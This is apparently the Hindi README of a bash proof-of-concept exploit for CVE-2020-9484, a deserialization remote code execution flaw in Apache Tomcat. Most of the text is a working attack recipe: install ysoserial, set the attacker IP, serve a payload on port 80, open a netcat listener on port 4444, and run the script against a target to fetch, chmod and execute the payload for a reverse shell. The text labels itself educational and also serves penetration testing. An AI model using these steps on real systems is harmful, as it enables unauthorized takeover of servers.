
Apache Tomcat 9.0.27 CVE-ID CVE-2020-9484 के साथ रिमोट कोड निष्पादन के लिए संवेदनशील है। अन्य संस्करण भी प्रभावित हो सकते हैं। Kali 2020.4 और JDK 8 पर परीक्षण किया गया। यह bash स्क्रिप्ट एक सरल proof-of-concept है। केवल शैक्षिक उद्देश्य के लिए।
यह भेद्यता एक दूरस्थ हमलावर को लक्षित प्रणाली पर मनमाना कोड निष्पादित करने की अनुमति देती है।
यह भेद्यता अपलोड की गई फ़ाइलों के नामों में क्रमबद्ध डेटा को संसाधित करते समय असुरक्षित इनपुट सत्यापन के कारण मौजूद है। एक दूरस्थ हमलावर एप्लिकेशन को विशेष रूप से तैयार की गई फ़ाइल का नाम दे सकता है और लक्षित प्रणाली पर मनमाना कोड निष्पादित कर सकता है।
इस भेद्यता का सफल शोषण संवेदनशील प्रणाली से पूर्ण समझौता कर सकता है, लेकिन इसके लिए आवश्यक है कि सर्वर को FileStore के साथ PersistenceManager का उपयोग करने के लिए कॉन्फ़िगर किया गया हो और हमलावर भंडारण स्थान से सापेक्ष फ़ाइल पथ जानता हो।
स्क्रिप्ट का उपयोग करने के लिए, yoserial आवश्यक है। इसे स्थापित करने के लिए:
cd /opt && git clone https://github.com/frohoff/ysoserial
cd /opt/ysoserial && wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial-master.jar
यदि आपके पास yoserial पहले से स्थापित है, तो इसे "yosorial-master.jar" में नाम बदलना सुनिश्चित करें।
स्क्रिप्ट स्थापित करने के लिए, टाइप करें:
cd /opt && git clone https://github.com/PenTestical/CVE-2020-9484 && cd CVE-2020-9484/ && chmod +x CVE-2020-9484.sh
सहायता मेनू खोलने के लिए, टाइप करें:
./CVE-2020-9484.sh --help
या
./CVE-2020-9484.sh -h
पहले, स्क्रिप्ट खोलें और अपना IP पता पंक्ति 14 पर रखें:
remote_ip="10.10.16.180" # change this
यह स्क्रिप्ट आपके वर्तमान निर्देशिका में "payload.sh", "downloadPayload.session", "chmodPayload.session" और "executePayload.session" फ़ाइलें बनाती है। शोषण का उपयोग करने के लिए, आपको पोर्ट 80 पर एक सरल लिसनर शुरू करना होगा। उदाहरण के लिए, Python3 के साथ उपयोग (उसी फ़ोल्डर में शुरू करें जहाँ आप स्क्रिप्ट चलाते हैं):
sudo python3 -m http.server 80
इसके अलावा, पोर्ट 4444 पर netcat लिसनर शुरू करना सुनिश्चित करें:
nc -nvlp 4444
अब स्क्रिप्ट को उस लक्षित प्रणाली के IP पते के साथ चलाएँ जिस पर आप हमला करना चाहते हैं:
./CVE-2020-9484.sh target-ip
यदि यह काम नहीं करता है, तो JDK 8 का उपयोग करना सुनिश्चित करें। यह परीक्षण करने के लिए कि आप कौन सा संस्करण उपयोग करते हैं, टाइप करें:
java -version
JDK संस्करण 12 या उच्चतर पर काम नहीं कर सकता है। इसके बारे में यहाँ और पढ़ें।